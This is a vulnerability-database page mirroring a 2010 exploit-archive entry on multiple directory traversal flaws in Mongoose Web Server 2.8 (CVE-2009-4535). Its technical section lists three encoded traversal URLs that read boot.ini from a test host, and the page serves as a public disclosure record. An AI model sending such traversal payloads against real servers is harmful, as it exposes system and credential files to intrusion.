Lucene search
+L

Mongoose Web Server 2.8 - Multiple Directory Traversals

🗓️ 20 Apr 2010 00:00:00Reported by Dr_IDEType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Mongoose Web Server v2.8 Multiple Directory Traversal Exploits found by Dr_IDE on Windows

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-4535
23 Oct 200900:00
circl
CVE
CVE-2009-4535
31 Dec 200919:00
cve
Cvelist
CVE-2009-4535
31 Dec 200919:00
cvelist
Exploit DB
Mongoose Web Server 2.8 - Source Disclosure
23 Oct 200900:00
exploitdb
EUVD
EUVD-2009-4501
7 Oct 202500:30
euvd
Tenable Nessus
Mongoose URI Trailing Slash Request Source Code Disclosure
30 Jul 201000:00
nessus
NVD
CVE-2009-4535
31 Dec 200919:30
nvd
OpenVAS
Mongoose Slash Character Remote File Disclosure Vulnerability
2 Aug 201000:00
openvas
OpenVAS
Mongoose Web Server <= 2.8 Slash Character Remote File Disclosure Vulnerability
2 Aug 201000:00
openvas
OpenVAS
Mongoose Web Server Source Code Disclosure Vulnerability
9 Jan 201000:00
openvas
Rows per page
################################################################
#
# Mongoose Web Server v2.8 Multiple Directory Traversal Exploits
# Found By:             Dr_IDE
# Date:                 Apr. 20, 2010
# Tested On:            Windows 7
# Download:             http://code.google.com/p/mongoose/downloads/list
#
################################################################

- Description -

Mongoose v2.8 is a Windows based HTTP server. This is the latest
version of the application available.

Mongoose v2.8 is vulnerable to many  remote directory traversal attacks.

- Technical Details -
http://172.16.2.102//..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini
http://172.16.2.102/..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://172.16.2.102/..%5C..%5Cboot.ini

#[pocoftheday.blogspot.com]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2010 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.06677
34